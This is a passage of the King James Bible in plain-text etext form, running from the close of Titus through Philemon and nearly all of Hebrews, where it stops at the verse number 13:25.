winter. + +3:13 Bring Zenas the lawyer and Apollos on their journey diligently, +that nothing be wanting unto them. + +3:14 And let our's also learn to maintain good works for necessary +uses, that they be not unfruitful. + +3:15 All that are with me salute thee. Greet them that love us in the +faith. Grace be with you all. Amen. + + + + +The Epistle of Paul the Apostle to Philemon + + +1:1 Paul, a prisoner of Jesus Christ, and Timothy our brother, unto +Philemon our dearly beloved, and fellowlabourer, 1:2 And to our +beloved Apphia, and Archippus our fellowsoldier, and to the church in +thy house: 1:3 Grace to you, and peace, from God our Father and the +Lord Jesus Christ. + +1:4 I thank my God, making mention of thee always in my prayers, 1:5 +Hearing of thy love and faith, which thou hast toward the Lord Jesus, +and toward all saints; 1:6 That the communication of thy faith may +become effectual by the acknowledging of every good thing which is in +you in Christ Jesus. + +1:7 For we have great joy and consolation in thy love, because the +bowels of the saints are refreshed by thee, brother. + +1:8 Wherefore, though I might be much bold in Christ to enjoin thee +that which is convenient, 1:9 Yet for love's sake I rather beseech +thee, being such an one as Paul the aged, and now also a prisoner of +Jesus Christ. + +1:10 I beseech thee for my son Onesimus, whom I have begotten in my +bonds: 1:11 Which in time past was to thee unprofitable, but now +profitable to thee and to me: 1:12 Whom I have sent again: thou +therefore receive him, that is, mine own bowels: 1:13 Whom I would +have retained with me, that in thy stead he might have ministered unto +me in the bonds of the gospel: 1:14 But without thy mind would I do +nothing; that thy benefit should not be as it were of necessity, but +willingly. + +1:15 For perhaps he therefore departed for a season, that thou +shouldest receive him for ever; 1:16 Not now as a servant, but above a +servant, a brother beloved, specially to me, but how much more unto +thee, both in the flesh, and in the Lord? 1:17 If thou count me +therefore a partner, receive him as myself. + +1:18 If he hath wronged thee, or oweth thee ought, put that on mine +account; 1:19 I Paul have written it with mine own hand, I will repay +it: albeit I do not say to thee how thou owest unto me even thine own +self besides. + +1:20 Yea, brother, let me have joy of thee in the Lord: refresh my +bowels in the Lord. + +1:21 Having confidence in thy obedience I wrote unto thee, knowing +that thou wilt also do more than I say. + +1:22 But withal prepare me also a lodging: for I trust that through +your prayers I shall be given unto you. + +1:23 There salute thee Epaphras, my fellowprisoner in Christ Jesus; +1:24 Marcus, Aristarchus, Demas, Lucas, my fellowlabourers. + +1:25 The grace of our Lord Jesus Christ be with your spirit. Amen. + + + + +The Epistle of Paul the Apostle to the Hebrews + + +1:1 God, who at sundry times and in divers manners spake in time past +unto the fathers by the prophets, 1:2 Hath in these last days spoken +unto us by his Son, whom he hath appointed heir of all things, by whom +also he made the worlds; 1:3 Who being the brightness of his glory, +and the express image of his person, and upholding all things by the +word of his power, when he had by himself purged our sins, sat down on +the right hand of the Majesty on high: 1:4 Being made so much better +than the angels, as he hath by inheritance obtained a more excellent +name than they. + +1:5 For unto which of the angels said he at any time, Thou art my Son, +this day have I begotten thee? And again, I will be to him a Father, +and he shall be to me a Son? 1:6 And again, when he bringeth in the +firstbegotten into the world, he saith, And let all the angels of God +worship him. + +1:7 And of the angels he saith, Who maketh his angels spirits, and his +ministers a flame of fire. + +1:8 But unto the Son he saith, Thy throne, O God, is for ever and +ever: a sceptre of righteousness is the sceptre of thy kingdom. + +1:9 Thou hast loved righteousness, and hated iniquity; therefore God, +even thy God, hath anointed thee with the oil of gladness above thy +fellows. + +1:10 And, Thou, Lord, in the beginning hast laid the foundation of the +earth; and the heavens are the works of thine hands: 1:11 They shall +perish; but thou remainest; and they all shall wax old as doth a +garment; 1:12 And as a vesture shalt thou fold them up, and they shall +be changed: but thou art the same, and thy years shall not fail. + +1:13 But to which of the angels said he at any time, Sit on my right +hand, until I make thine enemies thy footstool? 1:14 Are they not all +ministering spirits, sent forth to minister for them who shall be +heirs of salvation? 2:1 Therefore we ought to give the more earnest +heed to the things which we have heard, lest at any time we should let +them slip. + +2:2 For if the word spoken by angels was stedfast, and every +transgression and disobedience received a just recompence of reward; +2:3 How shall we escape, if we neglect so great salvation; which at +the first began to be spoken by the Lord, and was confirmed unto us by +them that heard him; 2:4 God also bearing them witness, both with +signs and wonders, and with divers miracles, and gifts of the Holy +Ghost, according to his own will? 2:5 For unto the angels hath he not +put in subjection the world to come, whereof we speak. + +2:6 But one in a certain place testified, saying, What is man, that +thou art mindful of him? or the son of man that thou visitest him? +2:7 Thou madest him a little lower than the angels; thou crownedst him +with glory and honour, and didst set him over the works of thy hands: +2:8 Thou hast put all things in subjection under his feet. For in that +he put all in subjection under him, he left nothing that is not put +under him. + +But now we see not yet all things put under him. + +2:9 But we see Jesus, who was made a little lower than the angels for +the suffering of death, crowned with glory and honour; that he by the +grace of God should taste death for every man. + +2:10 For it became him, for whom are all things, and by whom are all +things, in bringing many sons unto glory, to make the captain of their +salvation perfect through sufferings. + +2:11 For both he that sanctifieth and they who are sanctified are all +of one: for which cause he is not ashamed to call them brethren, 2:12 +Saying, I will declare thy name unto my brethren, in the midst of the +church will I sing praise unto thee. + +2:13 And again, I will put my trust in him. And again, Behold I and +the children which God hath given me. + +2:14 Forasmuch then as the children are partakers of flesh and blood, +he also himself likewise took part of the same; that through death he +might destroy him that had the power of death, that is, the devil; +2:15 And deliver them who through fear of death were all their +lifetime subject to bondage. + +2:16 For verily he took not on him the nature of angels; but he took +on him the seed of Abraham. + +2:17 Wherefore in all things it behoved him to be made like unto his +brethren, that he might be a merciful and faithful high priest in +things pertaining to God, to make reconciliation for the sins of the +people. + +2:18 For in that he himself hath suffered being tempted, he is able to +succour them that are tempted. + +3:1 Wherefore, holy brethren, partakers of the heavenly calling, +consider the Apostle and High Priest of our profession, Christ Jesus; +3:2 Who was faithful to him that appointed him, as also Moses was +faithful in all his house. + +3:3 For this man was counted worthy of more glory than Moses, inasmuch +as he who hath builded the house hath more honour than the house. + +3:4 For every house is builded by some man; but he that built all +things is God. + +3:5 And Moses verily was faithful in all his house, as a servant, for +a testimony of those things which were to be spoken after; 3:6 But +Christ as a son over his own house; whose house are we, if we hold +fast the confidence and the rejoicing of the hope firm unto the end. + +3:7 Wherefore (as the Holy Ghost saith, To day if ye will hear his +voice, 3:8 Harden not your hearts, as in the provocation, in the day +of temptation in the wilderness: 3:9 When your fathers tempted me, +proved me, and saw my works forty years. + +3:10 Wherefore I was grieved with that generation, and said, They do +alway err in their heart; and they have not known my ways. + +3:11 So I sware in my wrath, They shall not enter into my rest.) 3:12 +Take heed, brethren, lest there be in any of you an evil heart of +unbelief, in departing from the living God. + +3:13 But exhort one another daily, while it is called To day; lest any +of you be hardened through the deceitfulness of sin. + +3:14 For we are made partakers of Christ, if we hold the beginning of +our confidence stedfast unto the end; 3:15 While it is said, To day if +ye will hear his voice, harden not your hearts, as in the provocation. + +3:16 For some, when they had heard, did provoke: howbeit not all that +came out of Egypt by Moses. + +3:17 But with whom was he grieved forty years? was it not with them +that had sinned, whose carcases fell in the wilderness? 3:18 And to +whom sware he that they should not enter into his rest, but to them +that believed not? 3:19 So we see that they could not enter in +because of unbelief. + +4:1 Let us therefore fear, lest, a promise being left us of entering +into his rest, any of you should seem to come short of it. + +4:2 For unto us was the gospel preached, as well as unto them: but the +word preached did not profit them, not being mixed with faith in them +that heard it. + +4:3 For we which have believed do enter into rest, as he said, As I +have sworn in my wrath, if they shall enter into my rest: although the +works were finished from the foundation of the world. + +4:4 For he spake in a certain place of the seventh day on this wise, +And God did rest the seventh day from all his works. + +4:5 And in this place again, If they shall enter into my rest. + +4:6 Seeing therefore it remaineth that some must enter therein, and +they to whom it was first preached entered not in because of unbelief: +4:7 Again, he limiteth a certain day, saying in David, To day, after +so long a time; as it is said, To day if ye will hear his voice, +harden not your hearts. + +4:8 For if Jesus had given them rest, then would he not afterward have +spoken of another day. + +4:9 There remaineth therefore a rest to the people of God. + +4:10 For he that is entered into his rest, he also hath ceased from +his own works, as God did from his. + +4:11 Let us labour therefore to enter into that rest, lest any man +fall after the same example of unbelief. + +4:12 For the word of God is quick, and powerful, and sharper than any +twoedged sword, piercing even to the dividing asunder of soul and +spirit, and of the joints and marrow, and is a discerner of the +thoughts and intents of the heart. + +4:13 Neither is there any creature that is not manifest in his sight: +but all things are naked and opened unto the eyes of him with whom we +have to do. + +4:14 Seeing then that we have a great high priest, that is passed into +the heavens, Jesus the Son of God, let us hold fast our profession. + +4:15 For we have not an high priest which cannot be touched with the +feeling of our infirmities; but was in all points tempted like as we +are, yet without sin. + +4:16 Let us therefore come boldly unto the throne of grace, that we +may obtain mercy, and find grace to help in time of need. + +5:1 For every high priest taken from among men is ordained for men in +things pertaining to God, that he may offer both gifts and sacrifices +for sins: 5:2 Who can have compassion on the ignorant, and on them +that are out of the way; for that he himself also is compassed with +infirmity. + +5:3 And by reason hereof he ought, as for the people, so also for +himself, to offer for sins. + +5:4 And no man taketh this honour unto himself, but he that is called +of God, as was Aaron. + +5:5 So also Christ glorified not himself to be made an high priest; +but he that said unto him, Thou art my Son, to day have I begotten +thee. + +5:6 As he saith also in another place, Thou art a priest for ever +after the order of Melchisedec. + +5:7 Who in the days of his flesh, when he had offered up prayers and +supplications with strong crying and tears unto him that was able to +save him from death, and was heard in that he feared; 5:8 Though he +were a Son, yet learned he obedience by the things which he suffered; +5:9 And being made perfect, he became the author of eternal salvation +unto all them that obey him; 5:10 Called of God an high priest after +the order of Melchisedec. + +5:11 Of whom we have many things to say, and hard to be uttered, +seeing ye are dull of hearing. + +5:12 For when for the time ye ought to be teachers, ye have need that +one teach you again which be the first principles of the oracles of +God; and are become such as have need of milk, and not of strong meat. + +5:13 For every one that useth milk is unskilful in the word of +righteousness: for he is a babe. + +5:14 But strong meat belongeth to them that are of full age, even +those who by reason of use have their senses exercised to discern both +good and evil. + +6:1 Therefore leaving the principles of the doctrine of Christ, let us +go on unto perfection; not laying again the foundation of repentance +from dead works, and of faith toward God, 6:2 Of the doctrine of +baptisms, and of laying on of hands, and of resurrection of the dead, +and of eternal judgment. + +6:3 And this will we do, if God permit. + +6:4 For it is impossible for those who were once enlightened, and have +tasted of the heavenly gift, and were made partakers of the Holy +Ghost, 6:5 And have tasted the good word of God, and the powers of the +world to come, 6:6 If they shall fall away, to renew them again unto +repentance; seeing they crucify to themselves the Son of God afresh, +and put him to an open shame. + +6:7 For the earth which drinketh in the rain that cometh oft upon it, +and bringeth forth herbs meet for them by whom it is dressed, +receiveth blessing from God: 6:8 But that which beareth thorns and +briers is rejected, and is nigh unto cursing; whose end is to be +burned. + +6:9 But, beloved, we are persuaded better things of you, and things +that accompany salvation, though we thus speak. + +6:10 For God is not unrighteous to forget your work and labour of +love, which ye have shewed toward his name, in that ye have ministered +to the saints, and do minister. + +6:11 And we desire that every one of you do shew the same diligence to +the full assurance of hope unto the end: 6:12 That ye be not slothful, +but followers of them who through faith and patience inherit the +promises. + +6:13 For when God made promise to Abraham, because he could swear by +no greater, he sware by himself, 6:14 Saying, Surely blessing I will +bless thee, and multiplying I will multiply thee. + +6:15 And so, after he had patiently endured, he obtained the promise. + +6:16 For men verily swear by the greater: and an oath for confirmation +is to them an end of all strife. + +6:17 Wherein God, willing more abundantly to shew unto the heirs of +promise the immutability of his counsel, confirmed it by an oath: 6:18 +That by two immutable things, in which it was impossible for God to +lie, we might have a strong consolation, who have fled for refuge to +lay hold upon the hope set before us: 6:19 Which hope we have as an +anchor of the soul, both sure and stedfast, and which entereth into +that within the veil; 6:20 Whither the forerunner is for us entered, +even Jesus, made an high priest for ever after the order of +Melchisedec. + +7:1 For this Melchisedec, king of Salem, priest of the most high God, +who met Abraham returning from the slaughter of the kings, and blessed +him; 7:2 To whom also Abraham gave a tenth part of all; first being by +interpretation King of righteousness, and after that also King of +Salem, which is, King of peace; 7:3 Without father, without mother, +without descent, having neither beginning of days, nor end of life; +but made like unto the Son of God; abideth a priest continually. + +7:4 Now consider how great this man was, unto whom even the patriarch +Abraham gave the tenth of the spoils. + +7:5 And verily they that are of the sons of Levi, who receive the +office of the priesthood, have a commandment to take tithes of the +people according to the law, that is, of their brethren, though they +come out of the loins of Abraham: 7:6 But he whose descent is not +counted from them received tithes of Abraham, and blessed him that had +the promises. + +7:7 And without all contradiction the less is blessed of the better. + +7:8 And here men that die receive tithes; but there he receiveth them, +of whom it is witnessed that he liveth. + +7:9 And as I may so say, Levi also, who receiveth tithes, payed tithes +in Abraham. + +7:10 For he was yet in the loins of his father, when Melchisedec met +him. + +7:11 If therefore perfection were by the Levitical priesthood, (for +under it the people received the law,) what further need was there +that another priest should rise after the order of Melchisedec, and +not be called after the order of Aaron? 7:12 For the priesthood being +changed, there is made of necessity a change also of the law. + +7:13 For he of whom these things are spoken pertaineth to another +tribe, of which no man gave attendance at the altar. + +7:14 For it is evident that our Lord sprang out of Juda; of which +tribe Moses spake nothing concerning priesthood. + +7:15 And it is yet far more evident: for that after the similitude of +Melchisedec there ariseth another priest, 7:16 Who is made, not after +the law of a carnal commandment, but after the power of an endless +life. + +7:17 For he testifieth, Thou art a priest for ever after the order of +Melchisedec. + +7:18 For there is verily a disannulling of the commandment going +before for the weakness and unprofitableness thereof. + +7:19 For the law made nothing perfect, but the bringing in of a better +hope did; by the which we draw nigh unto God. + +7:20 And inasmuch as not without an oath he was made priest: 7:21 (For +those priests were made without an oath; but this with an oath by him +that said unto him, The Lord sware and will not repent, Thou art a +priest for ever after the order of Melchisedec:) 7:22 By so much was +Jesus made a surety of a better testament. + +7:23 And they truly were many priests, because they were not suffered +to continue by reason of death: 7:24 But this man, because he +continueth ever, hath an unchangeable priesthood. + +7:25 Wherefore he is able also to save them to the uttermost that come +unto God by him, seeing he ever liveth to make intercession for them. + +7:26 For such an high priest became us, who is holy, harmless, +undefiled, separate from sinners, and made higher than the heavens; +7:27 Who needeth not daily, as those high priests, to offer up +sacrifice, first for his own sins, and then for the people's: for this +he did once, when he offered up himself. + +7:28 For the law maketh men high priests which have infirmity; but the +word of the oath, which was since the law, maketh the Son, who is +consecrated for evermore. + +8:1 Now of the things which we have spoken this is the sum: We have +such an high priest, who is set on the right hand of the throne of the +Majesty in the heavens; 8:2 A minister of the sanctuary, and of the +true tabernacle, which the Lord pitched, and not man. + +8:3 For every high priest is ordained to offer gifts and sacrifices: +wherefore it is of necessity that this man have somewhat also to +offer. + +8:4 For if he were on earth, he should not be a priest, seeing that +there are priests that offer gifts according to the law: 8:5 Who serve +unto the example and shadow of heavenly things, as Moses was +admonished of God when he was about to make the tabernacle: for, See, +saith he, that thou make all things according to the pattern shewed to +thee in the mount. + +8:6 But now hath he obtained a more excellent ministry, by how much +also he is the mediator of a better covenant, which was established +upon better promises. + +8:7 For if that first covenant had been faultless, then should no +place have been sought for the second. + +8:8 For finding fault with them, he saith, Behold, the days come, +saith the Lord, when I will make a new covenant with the house of +Israel and with the house of Judah: 8:9 Not according to the covenant +that I made with their fathers in the day when I took them by the hand +to lead them out of the land of Egypt; because they continued not in +my covenant, and I regarded them not, saith the Lord. + +8:10 For this is the covenant that I will make with the house of +Israel after those days, saith the Lord; I will put my laws into their +mind, and write them in their hearts: and I will be to them a God, and +they shall be to me a people: 8:11 And they shall not teach every man +his neighbour, and every man his brother, saying, Know the Lord: for +all shall know me, from the least to the greatest. + +8:12 For I will be merciful to their unrighteousness, and their sins +and their iniquities will I remember no more. + +8:13 In that he saith, A new covenant, he hath made the first old. Now +that which decayeth and waxeth old is ready to vanish away. + +9:1 Then verily the first covenant had also ordinances of divine +service, and a worldly sanctuary. + +9:2 For there was a tabernacle made; the first, wherein was the +candlestick, and the table, and the shewbread; which is called the +sanctuary. + +9:3 And after the second veil, the tabernacle which is called the +Holiest of all; 9:4 Which had the golden censer, and the ark of the +covenant overlaid round about with gold, wherein was the golden pot +that had manna, and Aaron's rod that budded, and the tables of the +covenant; 9:5 And over it the cherubims of glory shadowing the +mercyseat; of which we cannot now speak particularly. + +9:6 Now when these things were thus ordained, the priests went always +into the first tabernacle, accomplishing the service of God. + +9:7 But into the second went the high priest alone once every year, +not without blood, which he offered for himself, and for the errors of +the people: 9:8 The Holy Ghost this signifying, that the way into the +holiest of all was not yet made manifest, while as the first +tabernacle was yet standing: 9:9 Which was a figure for the time then +present, in which were offered both gifts and sacrifices, that could +not make him that did the service perfect, as pertaining to the +conscience; 9:10 Which stood only in meats and drinks, and divers +washings, and carnal ordinances, imposed on them until the time of +reformation. + +9:11 But Christ being come an high priest of good things to come, by a +greater and more perfect tabernacle, not made with hands, that is to +say, not of this building; 9:12 Neither by the blood of goats and +calves, but by his own blood he entered in once into the holy place, +having obtained eternal redemption for us. + +9:13 For if the blood of bulls and of goats, and the ashes of an +heifer sprinkling the unclean, sanctifieth to the purifying of the +flesh: 9:14 How much more shall the blood of Christ, who through the +eternal Spirit offered himself without spot to God, purge your +conscience from dead works to serve the living God? 9:15 And for this +cause he is the mediator of the new testament, that by means of death, +for the redemption of the transgressions that were under the first +testament, they which are called might receive the promise of eternal +inheritance. + +9:16 For where a testament is, there must also of necessity be the +death of the testator. + +9:17 For a testament is of force after men are dead: otherwise it is +of no strength at all while the testator liveth. + +9:18 Whereupon neither the first testament was dedicated without +blood. + +9:19 For when Moses had spoken every precept to all the people +according to the law, he took the blood of calves and of goats, with +water, and scarlet wool, and hyssop, and sprinkled both the book, and +all the people, 9:20 Saying, This is the blood of the testament which +God hath enjoined unto you. + +9:21 Moreover he sprinkled with blood both the tabernacle, and all the +vessels of the ministry. + +9:22 And almost all things are by the law purged with blood; and +without shedding of blood is no remission. + +9:23 It was therefore necessary that the patterns of things in the +heavens should be purified with these; but the heavenly things +themselves with better sacrifices than these. + +9:24 For Christ is not entered into the holy places made with hands, +which are the figures of the true; but into heaven itself, now to +appear in the presence of God for us: 9:25 Nor yet that he should +offer himself often, as the high priest entereth into the holy place +every year with blood of others; 9:26 For then must he often have +suffered since the foundation of the world: but now once in the end of +the world hath he appeared to put away sin by the sacrifice of +himself. + +9:27 And as it is appointed unto men once to die, but after this the +judgment: 9:28 So Christ was once offered to bear the sins of many; +and unto them that look for him shall he appear the second time +without sin unto salvation. + +10:1 For the law having a shadow of good things to come, and not the +very image of the things, can never with those sacrifices which they +offered year by year continually make the comers thereunto perfect. + +10:2 For then would they not have ceased to be offered? because that +the worshippers once purged should have had no more conscience of +sins. + +10:3 But in those sacrifices there is a remembrance again made of sins +every year. + +10:4 For it is not possible that the blood of bulls and of goats +should take away sins. + +10:5 Wherefore when he cometh into the world, he saith, Sacrifice and +offering thou wouldest not, but a body hast thou prepared me: 10:6 In +burnt offerings and sacrifices for sin thou hast had no pleasure. + +10:7 Then said I, Lo, I come (in the volume of the book it is written +of me,) to do thy will, O God. + +10:8 Above when he said, Sacrifice and offering and burnt offerings +and offering for sin thou wouldest not, neither hadst pleasure +therein; which are offered by the law; 10:9 Then said he, Lo, I come +to do thy will, O God. He taketh away the first, that he may establish +the second. + +10:10 By the which will we are sanctified through the offering of the +body of Jesus Christ once for all. + +10:11 And every priest standeth daily ministering and offering +oftentimes the same sacrifices, which can never take away sins: 10:12 +But this man, after he had offered one sacrifice for sins for ever, +sat down on the right hand of God; 10:13 From henceforth expecting +till his enemies be made his footstool. + +10:14 For by one offering he hath perfected for ever them that are +sanctified. + +10:15 Whereof the Holy Ghost also is a witness to us: for after that +he had said before, 10:16 This is the covenant that I will make with +them after those days, saith the Lord, I will put my laws into their +hearts, and in their minds will I write them; 10:17 And their sins and +iniquities will I remember no more. + +10:18 Now where remission of these is, there is no more offering for +sin. + +10:19 Having therefore, brethren, boldness to enter into the holiest +by the blood of Jesus, 10:20 By a new and living way, which he hath +consecrated for us, through the veil, that is to say, his flesh; 10:21 +And having an high priest over the house of God; 10:22 Let us draw +near with a true heart in full assurance of faith, having our hearts +sprinkled from an evil conscience, and our bodies washed with pure +water. + +10:23 Let us hold fast the profession of our faith without wavering; +(for he is faithful that promised;) 10:24 And let us consider one +another to provoke unto love and to good works: 10:25 Not forsaking +the assembling of ourselves together, as the manner of some is; but +exhorting one another: and so much the more, as ye see the day +approaching. + +10:26 For if we sin wilfully after that we have received the knowledge +of the truth, there remaineth no more sacrifice for sins, 10:27 But a +certain fearful looking for of judgment and fiery indignation, which +shall devour the adversaries. + +10:28 He that despised Moses' law died without mercy under two or +three witnesses: 10:29 Of how much sorer punishment, suppose ye, shall +he be thought worthy, who hath trodden under foot the Son of God, and +hath counted the blood of the covenant, wherewith he was sanctified, +an unholy thing, and hath done despite unto the Spirit of grace? +10:30 For we know him that hath said, Vengeance belongeth unto me, I +will recompense, saith the Lord. And again, The Lord shall judge his +people. + +10:31 It is a fearful thing to fall into the hands of the living God. + +10:32 But call to remembrance the former days, in which, after ye were +illuminated, ye endured a great fight of afflictions; 10:33 Partly, +whilst ye were made a gazingstock both by reproaches and afflictions; +and partly, whilst ye became companions of them that were so used. + +10:34 For ye had compassion of me in my bonds, and took joyfully the +spoiling of your goods, knowing in yourselves that ye have in heaven a +better and an enduring substance. + +10:35 Cast not away therefore your confidence, which hath great +recompence of reward. + +10:36 For ye have need of patience, that, after ye have done the will +of God, ye might receive the promise. + +10:37 For yet a little while, and he that shall come will come, and +will not tarry. + +10:38 Now the just shall live by faith: but if any man draw back, my +soul shall have no pleasure in him. + +10:39 But we are not of them who draw back unto perdition; but of them +that believe to the saving of the soul. + +11:1 Now faith is the substance of things hoped for, the evidence of +things not seen. + +11:2 For by it the elders obtained a good report. + +11:3 Through faith we understand that the worlds were framed by the +word of God, so that things which are seen were not made of things +which do appear. + +11:4 By faith Abel offered unto God a more excellent sacrifice than +Cain, by which he obtained witness that he was righteous, God +testifying of his gifts: and by it he being dead yet speaketh. + +11:5 By faith Enoch was translated that he should not see death; and +was not found, because God had translated him: for before his +translation he had this testimony, that he pleased God. + +11:6 But without faith it is impossible to please him: for he that +cometh to God must believe that he is, and that he is a rewarder of +them that diligently seek him. + +11:7 By faith Noah, being warned of God of things not seen as yet, +moved with fear, prepared an ark to the saving of his house; by the +which he condemned the world, and became heir of the righteousness +which is by faith. + +11:8 By faith Abraham, when he was called to go out into a place which +he should after receive for an inheritance, obeyed; and he went out, +not knowing whither he went. + +11:9 By faith he sojourned in the land of promise, as in a strange +country, dwelling in tabernacles with Isaac and Jacob, the heirs with +him of the same promise: 11:10 For he looked for a city which hath +foundations, whose builder and maker is God. + +11:11 Through faith also Sara herself received strength to conceive +seed, and was delivered of a child when she was past age, because she +judged him faithful who had promised. + +11:12 Therefore sprang there even of one, and him as good as dead, so +many as the stars of the sky in multitude, and as the sand which is by +the sea shore innumerable. + +11:13 These all died in faith, not having received the promises, but +having seen them afar off, and were persuaded of them, and embraced +them, and confessed that they were strangers and pilgrims on the +earth. + +11:14 For they that say such things declare plainly that they seek a +country. + +11:15 And truly, if they had been mindful of that country from whence +they came out, they might have had opportunity to have returned. + +11:16 But now they desire a better country, that is, an heavenly: +wherefore God is not ashamed to be called their God: for he hath +prepared for them a city. + +11:17 By faith Abraham, when he was tried, offered up Isaac: and he +that had received the promises offered up his only begotten son, 11:18 +Of whom it was said, That in Isaac shall thy seed be called: 11:19 +Accounting that God was able to raise him up, even from the dead; from +whence also he received him in a figure. + +11:20 By faith Isaac blessed Jacob and Esau concerning things to come. + +11:21 By faith Jacob, when he was a dying, blessed both the sons of +Joseph; and worshipped, leaning upon the top of his staff. + +11:22 By faith Joseph, when he died, made mention of the departing of +the children of Israel; and gave commandment concerning his bones. + +11:23 By faith Moses, when he was born, was hid three months of his +parents, because they saw he was a proper child; and they were not +afraid of the king's commandment. + +11:24 By faith Moses, when he was come to years, refused to be called +the son of Pharaoh's daughter; 11:25 Choosing rather to suffer +affliction with the people of God, than to enjoy the pleasures of sin +for a season; 11:26 Esteeming the reproach of Christ greater riches +than the treasures in Egypt: for he had respect unto the recompence of +the reward. + +11:27 By faith he forsook Egypt, not fearing the wrath of the king: +for he endured, as seeing him who is invisible. + +11:28 Through faith he kept the passover, and the sprinkling of blood, +lest he that destroyed the firstborn should touch them. + +11:29 By faith they passed through the Red sea as by dry land: which +the Egyptians assaying to do were drowned. + +11:30 By faith the walls of Jericho fell down, after they were +compassed about seven days. + +11:31 By faith the harlot Rahab perished not with them that believed +not, when she had received the spies with peace. + +11:32 And what shall I more say? for the time would fail me to tell of +Gedeon, and of Barak, and of Samson, and of Jephthae; of David also, +and Samuel, and of the prophets: 11:33 Who through faith subdued +kingdoms, wrought righteousness, obtained promises, stopped the mouths +of lions. + +11:34 Quenched the violence of fire, escaped the edge of the sword, +out of weakness were made strong, waxed valiant in fight, turned to +flight the armies of the aliens. + +11:35 Women received their dead raised to life again: and others were +tortured, not accepting deliverance; that they might obtain a better +resurrection: 11:36 And others had trial of cruel mockings and +scourgings, yea, moreover of bonds and imprisonment: 11:37 They were +stoned, they were sawn asunder, were tempted, were slain with the +sword: they wandered about in sheepskins and goatskins; being +destitute, afflicted, tormented; 11:38 (Of whom the world was not +worthy:) they wandered in deserts, and in mountains, and in dens and +caves of the earth. + +11:39 And these all, having obtained a good report through faith, +received not the promise: 11:40 God having provided some better thing +for us, that they without us should not be made perfect. + +12:1 Wherefore seeing we also are compassed about with so great a +cloud of witnesses, let us lay aside every weight, and the sin which +doth so easily beset us, and let us run with patience the race that is +set before us, 12:2 Looking unto Jesus the author and finisher of our +faith; who for the joy that was set before him endured the cross, +despising the shame, and is set down at the right hand of the throne +of God. + +12:3 For consider him that endured such contradiction of sinners +against himself, lest ye be wearied and faint in your minds. + +12:4 Ye have not yet resisted unto blood, striving against sin. + +12:5 And ye have forgotten the exhortation which speaketh unto you as +unto children, My son, despise not thou the chastening of the Lord, +nor faint when thou art rebuked of him: 12:6 For whom the Lord loveth +he chasteneth, and scourgeth every son whom he receiveth. + +12:7 If ye endure chastening, God dealeth with you as with sons; for +what son is he whom the father chasteneth not? 12:8 But if ye be +without chastisement, whereof all are partakers, then are ye bastards, +and not sons. + +12:9 Furthermore we have had fathers of our flesh which corrected us, +and we gave them reverence: shall we not much rather be in subjection +unto the Father of spirits, and live? 12:10 For they verily for a few +days chastened us after their own pleasure; but he for our profit, +that we might be partakers of his holiness. + +12:11 Now no chastening for the present seemeth to be joyous, but +grievous: nevertheless afterward it yieldeth the peaceable fruit of +righteousness unto them which are exercised thereby. + +12:12 Wherefore lift up the hands which hang down, and the feeble +knees; 12:13 And make straight paths for your feet, lest that which is +lame be turned out of the way; but let it rather be healed. + +12:14 Follow peace with all men, and holiness, without which no man +shall see the Lord: 12:15 Looking diligently lest any man fail of the +grace of God; lest any root of bitterness springing up trouble you, +and thereby many be defiled; 12:16 Lest there be any fornicator, or +profane person, as Esau, who for one morsel of meat sold his +birthright. + +12:17 For ye know how that afterward, when he would have inherited the +blessing, he was rejected: for he found no place of repentance, though +he sought it carefully with tears. + +12:18 For ye are not come unto the mount that might be touched, and +that burned with fire, nor unto blackness, and darkness, and tempest, +12:19 And the sound of a trumpet, and the voice of words; which voice +they that heard intreated that the word should not be spoken to them +any more: 12:20 (For they could not endure that which was commanded, +And if so much as a beast touch the mountain, it shall be stoned, or +thrust through with a dart: 12:21 And so terrible was the sight, that +Moses said, I exceedingly fear and quake:) 12:22 But ye are come unto +mount Sion, and unto the city of the living God, the heavenly +Jerusalem, and to an innumerable company of angels, 12:23 To the +general assembly and church of the firstborn, which are written in +heaven, and to God the Judge of all, and to the spirits of just men +made perfect, 12:24 And to Jesus the mediator of the new covenant, and +to the blood of sprinkling, that speaketh better things than that of +Abel. + +12:25 See that ye refuse not him that speaketh. For if they escaped +not who refused him that spake on earth, much more shall not we +escape, if we turn away from him that speaketh from heaven: 12:26 +Whose voice then shook the earth: but now he hath promised, saying, +Yet once more I shake not the earth only, but also heaven. + +12:27 And this word, Yet once more, signifieth the removing of those +things that are shaken, as of things that are made, that those things +which cannot be shaken may remain. + +12:28 Wherefore we receiving a kingdom which cannot be moved, let us +have grace, whereby we may serve God acceptably with reverence and +godly fear: 12:29 For our God is a consuming fire. + +13:1 Let brotherly love continue. + +13:2 Be not forgetful to entertain strangers: for thereby some have +entertained angels unawares. + +13:3 Remember them that are in bonds, as bound with them; and them +which suffer adversity, as being yourselves also in the body. + +13:4 Marriage is honourable in all, and the bed undefiled: but +whoremongers and adulterers God will judge. + +13:5 Let your conversation be without covetousness; and be content +with such things as ye have: for he hath said, I will never leave +thee, nor forsake thee. + +13:6 So that we may boldly say, The Lord is my helper, and I will not +fear what man shall do unto me. + +13:7 Remember them which have the rule over you, who have spoken unto +you the word of God: whose faith follow, considering the end of their +conversation. + +13:8 Jesus Christ the same yesterday, and to day, and for ever. + +13:9 Be not carried about with divers and strange doctrines. For it is +a good thing that the heart be established with grace; not with meats, +which have not profited them that have been occupied therein. + +13:10 We have an altar, whereof they have no right to eat which serve +the tabernacle. + +13:11 For the bodies of those beasts, whose blood is brought into the +sanctuary by the high priest for sin, are burned without the camp. + +13:12 Wherefore Jesus also, that he might sanctify the people with his +own blood, suffered without the gate. + +13:13 Let us go forth therefore unto him without the camp, bearing his +reproach. + +13:14 For here have we no continuing city, but we seek one to come. + +13:15 By him therefore let us offer the sacrifice of praise to God +continually, that is, the fruit of our lips giving thanks to his name. + +13:16 But to do good and to communicate forget not: for with such +sacrifices God is well pleased. + +13:17 Obey them that have the rule over you, and submit yourselves: +for they watch for your souls, as they that must give account, that +they may do it with joy, and not with grief: for that is unprofitable +for you. + +13:18 Pray for us: for we trust we have a good conscience, in all +things willing to live honestly. + +13:19 But I beseech you the rather to do this, that I may be restored +to you the sooner. + +13:20 Now the God of peace, that brought again from the dead our Lord +Jesus, that great shepherd of the sheep, through the blood of the +everlasting covenant, 13:21 Make you perfect in every good work to do +his will, working in you that which is wellpleasing in his sight, +through Jesus Christ; to whom be glory for ever and ever. Amen. + +13:22 And I beseech you, brethren, suffer the word of exhortation: for +I have written a letter unto you in few words. + +13:23 Know ye that our brother Timothy is set at liberty; with whom, +if he come shortly, I will see you. + +13:24 Salute all them that have the rule over you, and all the saints. + +They of Italy salute you. + +13:25 